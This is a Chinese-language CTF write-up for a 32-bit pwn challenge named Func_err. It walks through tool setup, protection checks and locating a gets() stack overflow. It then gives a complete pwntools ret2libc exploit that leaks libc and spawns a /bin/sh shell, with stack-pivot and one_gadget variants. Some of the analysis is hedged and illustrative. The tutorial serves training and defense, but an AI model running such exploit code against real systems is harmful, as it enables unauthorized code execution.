1. 项目背景与核心挑战
PCTFpwn--Func_err这个题目名称透露了几个关键信息点:首先它属于CTF竞赛中的pwn类题型,其次题目核心与函数错误(Function Error)相关。这类题型通常考察选手对二进制漏洞的利用能力,特别是函数调用过程中的异常处理机制。
在真实的CTF比赛中,pwn类题目往往会给参赛者提供一个存在漏洞的二进制程序,要求选手通过逆向分析找到漏洞点,并编写利用代码(exploit)来获取flag。Func_err这个命名暗示了本题的突破口可能存在于函数调用流程中的某些异常处理环节。
2. 题目环境搭建与初步分析
2.1 基础环境准备
要分析这个二进制题目,我们需要准备以下工具链:
- Linux调试环境(推荐Ubuntu 18.04/20.04)
- pwntools漏洞利用框架
- IDA Pro/Ghidra反编译工具
- GDB with peda插件
- checksec工具(用于检查二进制保护机制)
安装基础工具的命令:
bash复制sudo apt update
sudo apt install -y python3 python3-pip git gdb
pip3 install pwntools
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
2.2 二进制初步检查
拿到题目文件后,首先应该进行基础检查:
bash复制file func_err
checksec --file=func_err
典型的输出可能显示:
code复制func_err: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=..., not stripped
[*] '/tmp/func_err'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
这些信息告诉我们:这是一个32位的ELF文件,没有去除符号表(not stripped),开启了NX保护(栈不可执行),但没有开启栈保护(canary)和地址随机化(PIE)。
3. 逆向分析与漏洞定位
3.1 函数调用流程分析
使用IDA Pro打开二进制文件,可以看到主要的函数调用关系。题目名为Func_err,我们需要特别关注以下方面:
- 非常规的函数调用方式(如通过函数指针)
- 函数返回地址的异常处理
- 非标准的调用约定使用
在main函数中可能会发现类似这样的可疑代码片段:
c复制void (*func_ptr)() = get_user_input;
func_ptr(); // 危险的间接调用
或者存在函数返回地址被篡改的情况:
c复制void vulnerable_func() {
char buf[64];
gets(buf); // 明显的栈溢出漏洞
}
3.2 关键漏洞点确认
通过动态调试可以验证漏洞点。使用gdb附加进程:
bash复制gdb ./func_err
b *vulnerable_func+0x20 # 在关键函数设置断点
r < payload.txt # 使用测试payload运行
当触发崩溃时,观察寄存器状态和栈回溯:
code复制Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
eax 0x0 0
ebx 0x41414141 1094795585
ecx 0x0 0
edx 0x0 0
esp 0xffffd570 0xffffd570
ebp 0x41414141 0x41414141
eip 0x41414141 0x41414141
这表明我们成功控制了EIP寄存器,验证了存在代码执行漏洞。
4. 漏洞利用开发
4.1 利用思路设计
根据前面的分析,我们可以采用以下利用策略:
- 构造ROP链绕过NX保护
- 泄漏libc地址计算system函数位置
- 执行system("/bin/sh")获取shell
需要先找到可用的gadget:
bash复制ROPgadget --binary func_err | grep "pop eax ; ret"
4.2 完整利用代码示例
使用pwntools编写exploit:
python复制from pwn import *
context(arch='i386', os='linux')
elf = ELF('./func_err')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
# 1. 构造初始payload覆盖返回地址
offset = 76 # 通过调试确定的偏移量
payload = b'A'*offset
payload += p32(elf.plt['puts'])
payload += p32(elf.symbols['main']) # 返回到main函数继续利用
payload += p32(elf.got['puts']) # puts的参数
# 2. 发送payload泄漏libc地址
io = process('./func_err')
io.sendlineafter('input:', payload)
leak = u32(io.recv(4))
libc.address = leak - libc.symbols['puts']
# 3. 二次利用执行system
payload = b'A'*offset
payload += p32(libc.symbols['system'])
payload += b'BBBB' # 伪造返回地址
payload += p32(next(libc.search(b'/bin/sh')))
io.sendline(payload)
io.interactive()
5. 高级利用技巧与优化
5.1 栈迁移技术
当缓冲区空间不足时,可以使用栈迁移技术:
python复制# 寻找leave; ret gadget
leave_ret = 0x08048455
# 将栈迁移到.bss段
payload = flat({
offset: [
elf.symbols['read'],
leave_ret,
0, # stdin
elf.bss()+0x500, # 新的栈地址
0x200 # 读取长度
]
})
5.2 利用one_gadget
在libc中寻找one_gadget可以简化利用:
bash复制one_gadget /lib/i386-linux-gnu/libc.so.6
然后在exploit中直接跳转到该地址:
python复制one_gadget = libc.address + 0x3ac5c
payload = b'A'*offset + p32(one_gadget)
6. 防御措施与安全建议
6.1 开发者防护方案
如果作为题目开发者,可以采取以下防护措施:
- 启用所有保护机制(FULL RELRO, PIE, Canary)
- 使用更安全的函数替代gets/strcpy等
- 实现沙箱机制限制系统调用
编译安全选项示例:
bash复制gcc -fstack-protector-all -pie -fPIE -Wl,-z,now -o safe_func_err func_err.c
6.2 参赛者练习建议
对于CTF选手,建议:
- 熟练掌握GDB调试技巧
- 建立常用exploit代码模板库
- 定期更新工具链(如pwntools, ROPgadget)
- 研究不同保护机制下的绕过方法
7. 扩展学习资源
-
推荐阅读:
- 《漏洞利用开发实战》
- 《CTF竞赛权威指南(Pwn篇)》
- ROP Emporium挑战系列
-
在线练习平台:
- pwnable.kr
- pwnable.tw
- Hack The Box
-
工具更新渠道:
- pwntools官方文档
- IDA Pro官方博客
- GitHub安全项目趋势
在实际比赛中遇到类似题目时,建议先快速确认以下几点:
- 二进制保护机制状态
- 明显的输入点(如gets, scanf等)
- 不安全的函数使用(如strcpy不带长度检查)
- 异常的函数调用方式
记住,pwn题目的突破往往在于对细节的观察和对二进制行为的准确预测。保持耐心,逐步验证每个假设,最终就能成功获取flag。